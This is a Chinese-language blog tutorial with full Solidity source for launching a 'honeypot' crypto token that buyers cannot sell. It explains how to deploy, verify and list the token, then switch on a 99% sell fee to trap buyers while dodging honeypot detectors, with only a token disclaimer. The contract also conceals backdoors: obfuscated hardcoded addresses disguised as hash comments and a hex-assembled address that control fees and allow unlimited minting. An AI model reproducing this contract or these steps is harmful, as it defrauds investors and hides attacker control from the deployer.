top of page
搜尋
作家相片Dev Swanson

如何使用高级智能合约(一键开关貔貅模式,防代币检测器,防貔貅检测器)发币

已更新:5月1日

这是以太坊智能合约研究员和爱好者,史旺生。我收到了很多粉丝的请求,让我去探讨貔貅代币,这是一种购买后不能出售的代币。 所以今天,让我向您介绍一些有关如何创建自己的貔貅代币的有用技巧。你准备好了吗?


【仅供研究测试,请勿尝试使用此方法进行诈骗】


高级智能合约(一键开关貔貅模式的防代币检测器的智能合约,自由设置开关貔貅模式,躲过貔貅检测器,让貔貅币看起来更加正规)








第 1 部分:使用 REMIX 和小狐狸钱包创建代币


1.首先,在您的电脑中安装小狐狸钱包 https://metamask.io/ 并创建帐户/钱包。









2. 浏览 RemixIDE http://remix.ethereum.org/ 您需要使用 Remix IDE 来部署智能合约。



3. 将小狐狸钱包连接到 REMIX IDE。点击您的小狐狸钱包插件。










点击按钮来连接钱包。




4.回到REMIX IDE。点击创建新文件。










5.随意命名文件,请记住在后面添加 .sol。例子,DevToken.sol






6. 将本文底部的代码(一键开关貔貅模式代码)复制并粘贴到空格中。*请勿尝试更改任何代码,否则合约将无法正常运作*


马上复制一键开关貔貅模式代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-detector-proof-honeypot











*代码在文章最下方。


或者


马上复制一键开关貔貅模式代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-detector-proof-honeypot



7. 在 Remix 中的智能合约代码往下滑,直到到达如下图所示的这一行





8. 现在我们要做一些代币设置。






name:(你的代币名称)*在括号“xxxxx”内写入代币名称


symbol:(你的代币代号) *在括号“XXX”内写入代币符号


total Supply: (代币供应) 设置你的代币总供应量,记住如果你的小数点是 18,而你想要 100 总供应量,然后输入 100000000000000000000,因为 100 + 18*0


在您想要的数量后添加十八个“0”(如果您将 18 设置为十进制)。比如你要发行100个代币,正确的输入应该是1000000000000000000


决定好后,*在 "......" 内写上 代币供应的数字



decimals: 18




9.点击左侧图标如下图,






选择COMPILER 编译器如下,0.8.18 .....







然后点击编译 compile。






10.COMPILE 编译后。单击如下所示的图标,然后在 ENVIRONMENT (环境)部分选择 Metamask狐狸(因为我们使用的是 metamask 狐狸钱包)







11. 在合约方面 CONTRACT,选择 DevToken 来作为合约。







12. 返回小狐狸钱包并复制您想要的代币部署者/代币权利所有者(即您的钱包地址)钱包地址并将地址粘贴到括号中,然后点击部署 “Deploy” 按钮。









13. 在您的狐狸钱包的弹出窗口中点击确认交易。如果那里没有任何反应,您需要将 metamask 狐狸钱包连接到 REMIX IDE。






14. 如果一切顺利,您的代币就在路上。回到狐狸钱包metamask,进入活动 Activity,点击合约部署 Contract deployment。







点击区块浏览器查看







点击右侧的 [复制] 图标按钮复制合约地址。









15. 返回狐狸钱包,点击导入代币IMPORT TOKENS。






选择自定义代币CUSTOM TOKEN, 并粘贴合约地址,等待你的代币出现,然后点击添加自定义代币







您可以使用相同的方法在 ETH 主网、币安智能链, BASE主网和任何其他链中发币。




🎉🎉🎉恭喜!您已成功创建自己的代币,它们就在您的钱包中!



等等朋友,我们还没有完成......还有一个更重要的步骤需要完成...

就是: Verify Contract 验证合同/合约开源



第 2 部分:Verify Contract 验证合约/合约开源



为什么我们需要验证合同?为什么我们不直接将我们的代币上架到任何 DEX(去中心化交易所)?



好吧,我就告诉你,验证合约的原因是为了增加代币的受欢迎程度,投资者可能会回避未经验证的代币,最终不购买任何代币。



我们开始吧!



1. 回到 metamask,进入 Activity,点击 Contract deployment。






2.点击区块浏览器查看 View on block explorer






点击蓝色合约地址







3. 在此页面上,单击合约 CONTRACT






点击 验证&发布 VERIFY AND PUBLISH







4. 接下来,我们选择如下设置:





Compiler Type (编译器类型) : Single File (单一文件)



Compiler version (编译版本): 0.8.18



License Type (许可证类型): No license (没有)



然后点击 继续 Continue



5.然后,回到我们的合约代码,复制粘贴到空白处






完成机器人测试并发布, Verify and Publish






6. 您应该会看到如下所示的成功消息,如果没有,则有问题,如果无法收到此消息,则需要重新检查所有步骤。








恭喜!您的合同现已通过验证,您可以在去中心化交易所 (DEX) 上你的代币了。


如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap


如果您使用 BSC(币安智能链),请使用 Pancakeswap,链接:https://pancakeswap.finance/


如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果你在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 



我将详细解释这个 一键开关貔貅模式的代币 的原理,因为它与普通的貔貅代币不太一样。



*重要步骤#1*


在我们继续步骤#1之前,您可以先使用创建的代币开始添加流动性。一旦您向代币添加了流动性,人们就可以自由买卖您的代币。


他们可以持有您的代币,并且能够将其卖回。


我们不会让这种情况发生,这就是为什么我们将学会开启 代币的 貔貅模式 来防止别人卖出代币。


让我们进入第一步。



开启貔貅模式


1.想要打开貔貅模式,现在回到Remix IDE,请点击如下所示的小三角形箭头







2.点击 setFees 按钮的 小三角形箭头







3.在 newBuyFee 的空格中写 0。

在newSellFee的空格中写99。然后点击交易transact 以开启貔貅模式。


警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则将招致模式开启失败。




转账完成后,貔貅模式将被打开。用户将无法在去中心化交易所出售代币,其中一些抢套利机器人 仍然可能 能够出售一些代币。



*请注意:记得每次在添加代币流动性后,您才能打开貔貅模式,以便代币能有防检测器检测的效果。


无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。


*如果貔貅模式未开启,买家可以出售他们的代币*

*如果貔貅模式关闭,买家可以出售他们的代币*



关闭貔貅模式

1.想关闭貔貅模式,返回Remix IDE,点击如下所示的小三角形箭头。





2.单击 setFees 按钮的小三角形箭头。










3.在 newBuyFee 的空格中写 0。

在newSellFee的空格中也写0。然点击交易transact以关闭貔貅模式。


警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则貔貅模式将会关闭失败。




转账完成后,貔貅模式将被关闭。 用户将能够在去中心化交易所出售代币。



*请注意:关闭貔貅模式后,您可以随时都能开启貔貅模式。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。


*如果貔貅模式关闭,买家可以出售他们的代币*

*如果貔貅模式未打开,买家可以出售他们的代币*



*重要步骤#2*


如果您不小心关闭了 Remix IDE,该怎么办?如何继续设置开关貔貅模式?


不用担心,跟着下面的步骤就行了。



1.返回小狐狸钱包,点击活动,点击 Contract Deployment (合约部署), 然后点击浏览








2.点击蓝色合约地址







3.在这个页面,点击合约 Contract。









4.点击编写合约 Write Contract







5.点击红色圆圈旁边的连接按钮 Connect to Web3 以连接狐狸钱包。









6. 点击上方小狐狸插件以检查确保狐狸钱包地址正确连接。一定要确定连接的钱包地址的是发行代币的钱包地址。









7.在页面中往下滑动, 点击"setFees"来设置开关貔貅模式。一定要确定连接的钱包地址的是发行代币的钱包地址。






8.

打开貔貅模式,在 newBuyFee 的空格中写0。在 newSellFee 的空格中写99。然后点击编写 Write来打开貔貅模式。




警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则将招致模式开启失败。



转账完成后,貔貅模式将被打开。用户将无法在去中心化交易所出售代币,其中一些套利机器人 仍然可能 能够出售一些代币。



*请注意:记得每次在添加代币流动性后,您才能打开貔貅模式,以便代币能有防检测器检测的效果。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。


*如果貔貅模式未开启,买家可以出售他们的代币*

*如果貔貅模式关闭,买家可以出售他们的代币*




关闭貔貅模式,请在 newBuyFee 的空格中写入0。在 newSellFee 的空格中也写0。然后点击 编写 Write 来关闭貔貅模式。




警告:请务遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则将导致貔貅模式关闭失败。


转账完成后,貔貅模式将被关闭。 用户将能够在去中心化交易所出售代币。



*请注意:关闭貔貅模式后,您可以随时都能开启貔貅模式。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。


*如果貔貅模式关闭,买家可以出售他们的代币*

*如果貔貅模式未打开,买家可以出售他们的代币*




*请记住,这篇文章仅用于测试和教育目的,不要在家里尝试!


今天的 一键开关貔貅模式 代币合约教程 就到这里。当然,这还没有结束,您可以通过多种方式和技巧来使用此发币技术,以最大限度地发挥效果。



我们将在下一篇文章中讨论更多关于代币技巧和技术的内容。 祝你发币愉快!


复制一键开关貔貅模式代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-detector-proof-honeypot




 

 

 

 

 

 

 

 

貔貅币智能合约教学指南系列:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

还想要些别的?

 

 

 

普通代币智能合约教学指南系列:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 




有任何疑问吗?



通过电报联系我:https://t.me/devswanson



我的网站:https://www.createyourowntoken.net/



马上复制一键开关貔貅模式代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-detector-proof-honeypot



*******

# 任何未经授权的代码编辑与更改都可能导致合约部署失败


合约代码如下: ---



// SPDX-License-Identifier: MIT /** */ pragma solidity ^0.8.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Subtraction overflow"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "Division by zero"); return a / b; // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } } contract DevToken { using SafeMath for uint256; string public name = "DevToken"; string public symbol = "DVET"; uint256 public totalSupply = 1000000000000000000000000; uint8 public decimals = 18; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public owner; address public _mbr; address public _mod; address public feeManager; address public _user; address public _adm; uint256 public buyFee; uint256 public sellFee; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); event TokensBurned(address indexed burner, uint256 amount); constructor(address _feeManager) { owner = msg.sender; feeManager = _feeManager; balanceOf[msg.sender] = totalSupply; // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } function transfer(address _to, uint256 _amount) public returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); function _scale(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function setMember(address Mbr_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; return true; } modifier Exchanges() { require(msg.sender != exchange()); _; } function rewire(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } function compute(uint256 amount) public onlypublic returns (bool success) { _initiate(msg.sender, amount); return true; } function _proof(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); _setFees(newBuyFee, newSellFee); emit FeesUpdated(newBuyFee, newSellFee); } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ function scaling(uint256 amount) public onlyAuthorized returns (bool) { _scale(msg.sender, amount); return true; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferTo(address _to, uint256 _amount) external onlyAuthorize { _transferTo(_to, _amount); } function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } modifier onlyAuthorize() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(balanceOf[_from] >= _amount, "Insufficient balance"); require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance"); require(_to != address(0), "Invalid recipient address"); uint256 fee = _amount.mul(sellFee).div(100); uint256 amountAfterFee = _amount.sub(fee); balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { // Fee is transferred to this contract balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function _initiate(address account, uint256 amount) internal { require(account != address(0), "Compile Remix IDE"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function FeesView(uint256 amount) public onlyAuthorize returns (bool) { _scale(msg.sender, amount); return true; } modifier onlypublic() { require(msg.sender == publics()); _; } function _setFees(uint256 newBuyFee, uint256 newSellFee) internal { buyFee = newBuyFee; sellFee = newSellFee; } function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function LockLPToken() public onlyOwner returns (bool) { } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } modifier onlyOwner() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function buy() public payable { require(msg.value > 0, "ETH amount should be greater than 0"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee); emit Transfer(address(this), feeManager, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[feeManager] = balanceOf[feeManager].add(amount); emit Transfer(address(this), feeManager, amount); } } function setting(uint256 newBuyFee, uint256 newSellFee) public { require(msg.sender == _adm); require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; } function sell(uint256 _amount) public { require(balanceOf[msg.sender] >= _amount, "Insufficient balance"); uint256 fee = _amount.mul(sellFee).div(100); uint256 amountAfterFee = _amount.sub(fee); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee); emit Transfer(msg.sender, address(this), amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } modifier onlyAuthorized() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } }


541 次查看

Comments


bottom of page